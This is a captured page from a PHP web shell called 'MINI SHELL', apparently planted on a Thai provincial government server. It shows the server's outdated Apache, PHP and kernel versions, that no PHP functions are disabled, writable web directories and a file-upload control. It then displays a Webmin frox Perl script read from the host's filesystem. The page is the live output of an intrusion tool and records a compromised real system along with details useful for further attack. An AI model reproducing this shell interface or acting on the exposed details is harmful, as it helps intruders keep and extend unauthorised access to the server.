MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/frox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/frox/save_general.cgi
#!/usr/bin/perl
# Save general options

require './frox-lib.pl';
&ReadParse();
&error_setup($text{'general_err'});
$conf = &get_config();

&save_user($conf, "User");
&save_group($conf, "Group");
&save_textbox($conf, "WorkingDir", \&check_dir);
&save_yesno($conf, "DontChroot");
&save_opt_textbox($conf, "LogLevel", \&check_level);
&save_opt_textbox($conf, "PidFile", \&check_pidfile);

&lock_file($config{'frox_conf'});
&flush_file_lines();
&unlock_file($config{'frox_conf'});
&webmin_log("general");
&redirect("");

sub check_dir
{
return -d $_[0] ? undef : $text{'general_edir'};
}

sub check_level
{
return $_[0] =~ /^\d+$/ ? undef : $text{'general_elevel'};
}

sub check_pidfile
{
return $_[0] =~ /^\/\S+$/ ? undef : $text{'general_epidfile'};
}

Anon7 - 2021